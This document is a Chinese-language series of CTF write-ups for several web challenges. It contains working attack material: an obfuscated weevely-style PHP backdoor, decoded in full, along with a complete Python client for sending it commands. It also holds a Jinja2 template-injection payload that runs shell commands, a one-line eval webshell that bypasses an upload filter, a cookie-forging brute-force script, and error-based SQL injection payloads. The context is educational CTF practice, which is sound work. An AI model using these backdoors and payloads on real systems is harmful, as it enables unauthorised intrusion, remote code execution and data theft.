尝试访问web-img../,直接可以访问到根目录http://111.200.241.244:60458/web-img../访问/web-img../var/www/路径,发现hack.php.bak文件,它是hack.php的备份文件http://111.200.241.244:60458/web-img../var/www/访问http://111.200.241.244:60458/hack.php.bk,可下载下来,代码已经被混淆加密了。hack.php.bak的内容:<?php$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);$g=create_function('',$f);$g();?>看起来像是weevely 生成的 WebShell 后门,尝试输出$f,在php代码后加上echo $f,PHP_EOL; <?php$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);$g=create_function('',$f);$g();echo $f,PHP_EOL;?>通过PHP在线运行工具,可直接运行输出结果。输出的内容:$kh="42f7";$kf="e9ac";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}通过在线PHP代码格式化美化工具对其进行美化。http://www.jsons.cn/phpformat/得到美化后的代码:$kh="42f7";$kf="e9ac";function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for ($i=0;$i<$l;) { for ($j=0;($j<$c&&$i<$l);$j++,$i++) { $o.=$t { $i } ^$k { $j } ; } } return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra) { $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); if($q&&$m) { @session_start(); $s=&$_SESSION; $ss="substr"; $sl="strtolower"; $i=$m[1][0].$m[1][1]; $h=$sl($ss(md5($i.$kh),0,3)); $f=$sl($ss(md5($i.$kf),0,3)); $p=""; for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]]; if(strpos($p,$h)===0) { $s[$i]=""; $p=$ss($p,3); } if(array_key_exists($i,$s)) { $s[$i].=$p; $e=strpos($s[$i],$f); if($e) { $k=$kh.$kf; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); @session_destroy(); } } }}经过提示 这个是个后门,网上有利用脚本 https://www.cnblogs.com/go2bed/p/5920811.html 一个PHP混淆后门的分析。 按提示修改脚本中的config部分 利用脚本如下:# encoding: utf-8 from random import randint,choice from hashlib import md5 import urllib import string import zlib import base64 import requests import re def choicePart(seq,amount): length = len(seq) if length == 0 or length < amount: print 'Error Input' return None result = [] indexes = [] count = 0 while count < amount: i = randint(0,length-1) if not i in indexes: indexes.append(i) result.append(seq[i]) count += 1 if count == amount: return result def randBytesFlow(amount): result = '' for i in xrange(amount): result += chr(randint(0,255)) return result def randAlpha(amount): result = '' for i in xrange(amount): result += choice(string.ascii_letters) return result def loopXor(text,key): result = '' lenKey = len(key) lenTxt = len(text) iTxt = 0 while iTxt < lenTxt: iKey = 0 while iTxt<lenTxt and iKey<lenKey: result += chr(ord(key[iKey]) ^ ord(text[iTxt])) iTxt += 1 iKey += 1 return result def debugPrint(msg): if debugging: print msg # config debugging = False keyh = "42f7" # $kh keyf = "e9ac" # $kf xorKey = keyh + keyf url = 'http://111.200.241.244:60458/hack.php' defaultLang = 'zh-CN' languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d'] proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug sess = requests.Session() # generate random Accept-Language only once each session langTmp = choicePart(languages,3) indexes = sorted(choicePart(range(1,10),3), reverse=True) acceptLang = [defaultLang] for i in xrange(3): acceptLang.append(langTmp[i] % (indexes[i],)) acceptLangStr = ','.join(acceptLang) debugPrint(acceptLangStr) init2Char = acceptLang[0][0] + acceptLang[1][0] # $i md5head = (md5(init2Char + keyh).hexdigest())[0:3] md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8)) debugPrint('$i is %s' % (init2Char)) debugPrint('md5 head: %s' % (md5head,)) debugPrint('md5 tail: %s' % (md5tail,)) # Interactive php shell cmd = raw_input('phpshell > ') while cmd != '': # build junk data in referer query = [] for i in xrange(max(indexes)+1+randint(0,2)): key = randAlpha(randint(3,6)) value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12))) query.append((key, value)) debugPrint('Before insert payload:') debugPrint(query) debugPrint(urllib.urlencode(query)) # encode payload payload = zlib.compress(cmd) payload = loopXor(payload,xorKey) payload = base64.urlsafe_b64encode(payload) payload = md5head + payload # cut payload, replace into referer cutIndex = randint(2,len(payload)-3) payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail) iPiece = 0 for i in indexes: query[i] = (query[i][0],payloadPieces[iPiece]) iPiece += 1 referer = url + '?' + urllib.urlencode(query) debugPrint('After insert payload, referer is:') debugPrint(query) debugPrint(referer) # send request r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies) html = r.text debugPrint(html) # process response pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey)) output = pattern.findall(html) if len(output) == 0: print 'Error, no backdoor response' cmd = raw_input('phpshell > ') continue output = output[0] debugPrint(output) output = output.decode('base64') output = loopXor(output,xorKey) output = zlib.decompress(output) print output cmd = raw_input('phpshell > ')执行python脚本,并使用 system("ls") ; 查看当前目录,发现存在 fllla4aggg.php文件,该文件包含flag内容直接查看 fllla4aggg.php,可获得flag内容system("cat fllla4aggg.php");最终flag:ctf{a57b3698-eeae-48c0-a669-bafe3213568c} 题目名称:Hello World题目wireup:访问靶机网站,发现是一个显示内容为“hello wold"的内容http://106.75.72.168:9999/查看源代码,发现有一个flag.xmas.js的 js访问flag.xmas.js路径,发现404页面无法访问http://106.75.72.168:9999/flag.xmas.js 通过dirsearch.py对靶机网站进行目录扫描,发现有.git目录泄露python3 dirsearch.py -u http://106.75.72.168:9999/通过Git_Extract工具对目标靶机网站进行/.git/目录进行下载git clone https://github.com/gakki429/Git_Extract.gitpython git_extract.py http://106.75.72.168:9999/.git/下载到本地,发现有flag.js和flagjs.04bbo9两个不同的js用diff对flag.js和flag.js.04bb09进行对比,不同之处就是flag的关键组成字符flag{82efc37f1cd5d4636ea7cadcd5a814a2} 最终falg:flag{82efc37f1cd5d4636ea7cadcd5a814a2} 题目名称:Musee de X题目内容:X在卢浮宫旁开了一个博物馆,欢迎社会各界人士捐献藏品题目writeup:打开提示我们如果要操作就需要登录 首先注册一个账号wosun http://106.75.72.168:8888/register.php 然后用这个账号登录系统 http://106.75.72.168:8888/index.php 通过donate.php页面进行捐献,这里地址任意填一个url网站地址(123.com),用户名必须和注册的用户名一致(wosun) http://106.75.72.168:8888/donate.php 提交后显示了错误,jinja2模板注入 text = jinja2.Template(text).render() 说明使用了jinja2 据此信息是jinjia2模板而我们的用户名在text中,似乎就可以注入了 先注册用户名为({{前面的可以随意修改,注册成自己的用户名吧) wosun{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}} 然后登录,捐献照片为底色为黑色的网络照片http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg 然后go一下就看到flag了 最终flag: flag{13460551-92a3-ed4f-844d-86f8f12ca99c} 题目名称:破译题目wirtup:通过ctfcrackT00LS对其字符进行凯撒解密解密得到:BE5650G - 0BA CH50A A0D THE CH50ESE 9505ST4O 1F EDUCAT510 A001U0CED 910DAO A0 ENTE0S510 1F THE54 EN5ST50G 2A4T0E4SH52 T1 50C14214ATE F5T0ESS A0D BAS7ETBA88 DEVE8129E0T 50 E8E9E0TA4O, 95DD8E A0D H5GH SCH118S AC41SS CH50A.THE A001U0CE9E0T MAS 9ADE AT A S5G050G CE4E910O T1DAO BO 0BA CH50A CE1 DAV5D SH1E9A7E4 A0D NU TA1, D54ECT14 GE0E4A8 1F THE 50TE40AT510A8 C112E4AT510 A0D ENCHA0GE DE2A4T9E0T 1F THE 9505ST4O 1F EDUCAT510."ME A4E ENC5TED T1 B41ADE0 1U4 2A4T0E4SH52 M5TH THE 9505ST4O 1F EDUCAT510 T1 9A7E A 810G-8AST50G 592ACT 10 THE 85VES 1F CH50ESE STUDE0TS TH41UGH A 6150T8O-DES5G0ED BAS7ETBA88 CU445CU8U9 A0D A M5DE 4A0GE 1F SCH118 BAS7ETBA88 241G4A9S," SA5D SH1E9A7E4. "TH5S C1995T9E0T 9A47S A01THE4 958EST10E 50 THE 0BA'S O1UTH A0D BAS7ETBA88 DEVE8129E0T EFF14TS 50 CH50A." F8AG { GS182D9HCT9ABC5D}其中包含了关键信息:F8AG { GS182D9HCT9ABC5D}F8AG看起来不像是flag的标识开头,这里是l被替换成8再根据前面的字符串猜测得到: 1替换O 2替换P 5替换I 8替换L 9替换M 替换掉数字后删去空格,得到: FLAG{GSOLPDMHCTMABCID} 或者脚本 import requests import string s="\"EW S4W WFU5LWV L1 T41SVW0 1M4 2S4L0W4KZ52 E5LZ LZW 9505KL4G 1X WVMUSL510 L1 9S7W S 810Y-8SKL50Y 592SUL 10 LZW 85NWK 1X UZ50WKW KLMVW0LK LZ41MYZ S 6150L8G-VWK5Y0WV TSK7WLTS88 UM445UM8M9 S0V S E5VW 4S0YW 1X KUZ118 TSK7WLTS88 241Y4S9K,\" KS5V KZ1W9S7W4. \"LZ5K U1995L9W0L 9S47K S01LZW4 958WKL10W 50 LZW 0TS'K G1MLZ S0V TSK7WLTS88 VWNW8129W0L WXX14LK 50 UZ50S.\" X8SY { YK182V9ZUL9STU5V}" i=18 temp="" for j in s: if ord(j)<=ord('M') and ord(j)>=ord('A'): if(ord(j)+i)>=ord('A') and (ord(j)+i)<=ord('Z'): temp+=chr(ord(j)+i) else: temp+=j elif ord(j)>=ord('N') and ord(j)<=ord('Z'): if (ord(j) - i) >= ord('A') and (ord(j) - i) <= ord('Z'): temp += chr(ord(j) - i) else: temp += j else: temp+=j #print temp f=temp c="" for t in f: if t=='4': c+='R' elif t=='5': c+="I" elif t == 'L': c += "T" elif t=='0': c+="N" elif t=='K': c+="S" elif t=='7': c+="K" elif t=='8': c+="L" elif t=='M': c+="U" elif t=='1': c+="O" elif t=='9': c+="M" elif t=='2': c+="P" else: c+=t print c得到:FLAG { GSOLPDMHCTMABCID}根据flag格式,不能有空格,最终flag:FLAG{GSOLPDMHCTMABCID} http://217046e1bac4484fa0f719b85c8b49b8aba97d6e26ba4c5b.changame.ichunqiu.com/u/test.txt上传成功后访问上传的文件,发现直接输出了:eval($_POST['a']) ?> http://217046e1bac4484fa0f719b85c8b49b8aba97d6e26ba4c5b.changame.ichunqiu.com/u/test.php由此判断后台代码过滤了<?和php关键字这里通过<script >脚本的一句户后门绕过: <script language="pHp">@eval($_POST['sb'])</script> 最终flag:flag{d09c7fbb-b68c-4229-83bb-68c4864450c1} 题目名称:Code题目writeup:打开url地址http://4c761be0a54f491c86c03f3ff1555b6d8645cd8e72d144ac.game.ichunqiu.com/index.php?jpg=hei.jpg,发现是一张图片查看网页源码,发现图片经过了base64编码,将其解码,解密发现是乱码,无果index.php?jpg=中的jpg参数猜测存在任意文件包含漏洞,这里包含index.php源码读出来,并查看源代码是base64http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/index.php?jpg=index.php 得到的bae64:PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpbWU6IDE6MzENCiAqLw0KaGVhZGVyKCdjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgnKTsNCmlmKCEgaXNzZXQoJF9HRVRbJ2pwZyddKSkNCiAgICBoZWFkZXIoJ1JlZnJlc2g6MDt1cmw9Li9pbmRleC5waHA/anBnPWhlaS5qcGcnKTsNCiRmaWxlID0gJF9HRVRbJ2pwZyddOw0KZWNobyAnPHRpdGxlPmZpbGU6Jy4kZmlsZS4nPC90aXRsZT4nOw0KJGZpbGUgPSBwcmVnX3JlcGxhY2UoIi9bXmEtekEtWjAtOS5dKy8iLCIiLCAkZmlsZSk7DQokZmlsZSA9IHN0cl9yZXBsYWNlKCJjb25maWciLCJfIiwgJGZpbGUpOw0KJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsNCg0KZWNobyAiPGltZyBzcmM9J2RhdGE6aW1hZ2UvZ2lmO2Jhc2U2NCwiLiR0eHQuIic+PC9pbWc+IjsNCg0KLyoNCiAqIENhbiB5b3UgZmluZCB0aGUgZmxhZyBmaWxlPw0KICoNCiAqLw0KDQo/Pg== 对其进行解密base64,得到:<?php/** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */header('content-type:text/html;charset=utf-8');if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=hei.jpg');$file = $_GET['jpg'];echo '<title>file:'.$file.'</title>';$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);$file = str_replace("config","_", $file);$txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>发现了Created by PhpStorm,phpstorm是php代码的集成开发环境,下载phpstorm,并新建一个项目,会发现在项目文件夹里面会生成一个.idea文件,它存储了项目的配置文件, 打开.idea文件可以发现misc.xml,modules.xml,workspace.xml文件。 由于刚才解码得到的php代码是在phpstorm中创建的,因此该项目文件一定会生成一个.idea文件。 访问地址: http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/.idea/workspace.xml 打开发现xml文件中IDE生成有三个文件:x.php和config.php以及fl3g_ichuqiu.php 说明该项目生成了x.php,config.php,fl3g_ichuqiu.php文件.分别访问x.php,config.php,fl3g_ichuqiu.php文件其中x.php文件显示404页面不存在config.php文件显示空白http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/config.php fl3g_ichuqiu.php显示一段符号 http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/fl3g_ichuqiu.php 那么flag很有可能在fl3g_ichuqiu.php中,这里通过index.php?jpg=fl3g_ichuqiu.php文件包含读取源码查看源码:显示:<title>file:xfl3g_ichuqiu.php</title><img src='data:image/gif;base64,'></img>显然,base64编码内容被过滤了。我们自己改写一下index.php的代码,在本地环境中运行一下:<?php $file = 'fl3g_ichuqiu.php'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);$file = str_replace("config","_", $file);echo $file; 输出结果为:fl3gichuqiu.php根据上面的正则替换:preg_replace,只要不是字母数字和.,就会被替换为空,因此_被替换成""了,但是我们有办法解决,利用index.php的substr函数即可,我们可以将fl3g_ichuqiu.php改写为fl3gconfigichuqiu.php,让后台脚本帮助我们替换。现在包含fl3gconfigichuqiu.php读取fl3g_ichuqiu.php的源码 http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php 查看源码,显示了base64编码的结果。 得到的base64编码:PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpbWU6IDE6MzENCiAqLw0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH5FX05PVElDRSk7DQppbmNsdWRlKCdjb25maWcucGhwJyk7DQpmdW5jdGlvbiByYW5kb20oJGxlbmd0aCwgJGNoYXJzID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6Jykgew0KICAgICRoYXNoID0gJyc7DQogICAgJG1heCA9IHN0cmxlbigkY2hhcnMpIC0gMTsNCiAgICBmb3IoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspCXsNCiAgICAgICAgJGhhc2ggLj0gJGNoYXJzW210X3JhbmQoMCwgJG1heCldOw0KICAgIH0NCiAgICByZXR1cm4gJGhhc2g7DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJHR4dCwka2V5KXsNCiAgICBmb3IoJGk9MDskaTxzdHJsZW4oJHR4dCk7JGkrKyl7DQogICAgICAgICR0bXAgLj0gY2hyKG9yZCgkdHh0WyRpXSkrMTApOw0KICAgIH0NCiAgICAkdHh0ID0gJHRtcDsNCiAgICAkcm5kPXJhbmRvbSg0KTsNCiAgICAka2V5PW1kNSgkcm5kLiRrZXkpOw0KICAgICRzPTA7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCR0eHQpOyRpKyspew0KICAgICAgICBpZigkcyA9PSAzMikgJHMgPSAwOw0KICAgICAgICAkdHRtcCAuPSAkdHh0WyRpXSBeICRrZXlbKyskc107DQogICAgfQ0KICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRybmQuJHR0bXApOw0KfQ0KZnVuY3Rpb24gZGVjcnlwdCgkdHh0LCRrZXkpew0KICAgICR0eHQ9YmFzZTY0X2RlY29kZSgkdHh0KTsNCiAgICAkcm5kID0gc3Vic3RyKCR0eHQsMCw0KTsNCiAgICAkdHh0ID0gc3Vic3RyKCR0eHQsNCk7DQogICAgJGtleT1tZDUoJHJuZC4ka2V5KTsNCg0KICAgICRzPTA7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCR0eHQpOyRpKyspew0KICAgICAgICBpZigkcyA9PSAzMikgJHMgPSAwOw0KICAgICAgICAkdG1wIC49ICR0eHRbJGldXiRrZXlbKyskc107DQogICAgfQ0KICAgIGZvcigkaT0wOyRpPHN0cmxlbigkdG1wKTskaSsrKXsNCiAgICAgICAgJHRtcDEgLj0gY2hyKG9yZCgkdG1wWyRpXSktMTApOw0KICAgIH0NCiAgICByZXR1cm4gJHRtcDE7DQp9DQokdXNlcm5hbWUgPSBkZWNyeXB0KCRfQ09PS0lFWyd1c2VyJ10sJGtleSk7DQppZiAoJHVzZXJuYW1lID09ICdzeXN0ZW0nKXsNCiAgICBlY2hvICRmbGFnOw0KfWVsc2V7DQogICAgc2V0Y29va2llKCd1c2VyJyxlbmNyeXB0KCdndWVzdCcsJGtleSkpOw0KICAgIGVjaG8gIuKVrijila/ilr3ilbAp4pWtIjsNCn0NCj8+ 将其进行解码得到一段php代码,是关于http cookie的加密与解密: <?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ error_reporting(E_ALL || ~E_NOTICE); include('config.php'); //获取length位数的随机字符串 function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } //加密过程,txt是明文,key是秘钥 function encrypt($txt,$key) { for($i=0;$i<strlen($txt);$i++){ $tmp .= chr(ord($txt[$i])+10); }//txt内容的ascii码增加10 $txt = $tmp; $rnd=random(4); //取4位随机字符 $key=md5($rnd.$key);//随机字符与秘钥进行拼接得到新的秘钥 $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $ttmp .= $txt[$i] ^ $key[++$s]; //将明文与key按位进行异或,key的长度最长为32 } return base64_encode($rnd.$ttmp); //将随机字符与异或后的结果进行字符串拼接,然后进行base64加密,得到密文 } //解密过程,txt是密文,key是秘钥 function decrypt($txt,$key){ $txt=base64_decode($txt); //将密文进行base64解码 $rnd = substr($txt,0,4); //取出解码后的密文的前四位作为随机数字符串 $txt = substr($txt,4); //从第5位开始的内容为真正的密文 $key=md5($rnd.$key); //随机字符串与秘钥进行拼接得到新的秘钥 $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $tmp .= $txt[$i]^$key[++$s]; //将密文与秘钥进行异或得到tmp } for($i=0;$i<strlen($tmp);$i++){ $tmp1 .= chr(ord($tmp[$i])-10); //将tmp的ascii码减10得到明文 } return $tmp1; //明文 } $username = decrypt($_COOKIE['user'],$key); //将HTTP Cookie方式传递的user变量作为密文,与秘钥进行解密 if ($username == 'system'){ //如果解密出的结果为system,则显示flag echo $flag; }else{ //如果解密出的结果不是system,则向客户端发送一个http cookie,cookie名称为user变量,cookie的值为guest与秘钥加密的结果,并显示一个表情 setcookie('user',encrypt('guest',$key)); echo "a??(a?ˉa??a?°)a?-"; } ?> 获取flag的思路:要获取flag就要获取key,使得key与$_COOKIE['user']的解密结果为system。 获取key的思路:通过浏览器向服务器请求“抱歉”表情界面的url,服务器就会向浏览器返回一个固定的cookie值, 即:encrypt('guest',$key),则cookie值就是明文“guest”与key(5位)加密的结果(即guest与key异或得到cookie,那么guest与cookie异或可以得到key)。 得到5位的key后,可以爆破第六位的key,只要用得到的5位key连接上构造的第六位key,与“system”进行加密得到的user变量的cookie值去请求相应的url, 通过服务器反馈的内容含有“flag”关键字符,则说明构造的第六位key值正确,从而可以得到六位的key以及flag的内容。 加密和解密的原理其实不难,需要与得到user的cookie计算解密 得到的key,然后利用这个key对system加密,从而得到system的cookie,伪造cookie得到flag. 根据代码原理,利用python脚本进行keys秘钥的爆破: # _*_ coding: utf-8 _* import requests import string from base64 import * #返回“抱歉”表情的url url="http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/fl3g_ichuqiu.php" #请求该url,获取服务器返回的user变量的cookie值,即encrypt('guest',$key) cookie=requests.get(url).cookies['user'] #将密文cookie进行base64解码 txt=b64decode(cookie) rnd=txt[:4] #密文的前4位字符为随机字符 ttmp=txt[4:]#ttmp为'guest'与key进行异或的密文值,ttmp与'guest'的位数一样,为5位 keys=list('xxxxxx') #六位key的初始字符串 guest=list('guest')#guest明文内容 system=list('system') for i in range(len(guest)): guest[i]=chr(ord(guest[i])+10)#guest明文的ascii码加10,为guest加密做准备(encrypt('guest',$key)) for i in range(len(guest)): keys[i]=chr(ord(ttmp[i])^ord(guest[i]))#ttmp为'guest'与key进行异或的密文值,则ttmp与guest异或为keys for i in range(len(system)): system[i]=chr(ord(system[i])+10)#system的ascii码加10,为system加密做准备 letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'#第六位key的爆破字符 ttmp_new='' #system与keys的异或值 cookie_system=[] str='' for ch in letters: keys[5]=ch for i in range(len(system)): ttmp_new +=chr(ord(system[i])^ord(keys[i])) str=rnd+ttmp_new #随机字符与异或结果进行拼接 cookie_system.append(b64encode(str)) #将拼接结果进行base64加密,得到flag界面的cookie值,并将其填充到字典cookie_system中 ttmp_new=''#爆破一次,就将ttmp_new初始化一次 # # print cookie_system #输出所有可能的key爆破得到的cookie值 for i in cookie_system: cookies={'user':i} #cookie变量为user,值为i res=requests.get(url,cookies=cookies) #用所有的cookie值去尝试访问服务器,得到的反馈为res if 'flag' in res.content:#如果反馈的内容含有‘flag’关键字,则说明请求的cookie正确,即keys爆破成功 #print cookie_system[i] #输出正确的cookie值 print res.content #输出服务器反馈的内容,即flag 最终得到flag:flag{a543619a-eb42-489c-b6cd-700f9cbe4cb0} 题目名称:YeserCMS题目内容: 新的CMS系统,帮忙测测是否有漏洞。tips:flag在网站根目录下的flag.php中 题目writeup: 打开链接发现其实是easycms,百度可以查到许多通用漏洞 http://f6434ae33e264d1786933d22e0f05e4caae7c61df2d24aa1.changame.ichunqiu.com/ 这里我利用的是无限报错注入(https://www.cnblogs.com/yangxiaodi/p/6963624.html)访问/celive/live/header.php,直接进行报错注入查询数据库xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>查询表名xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- 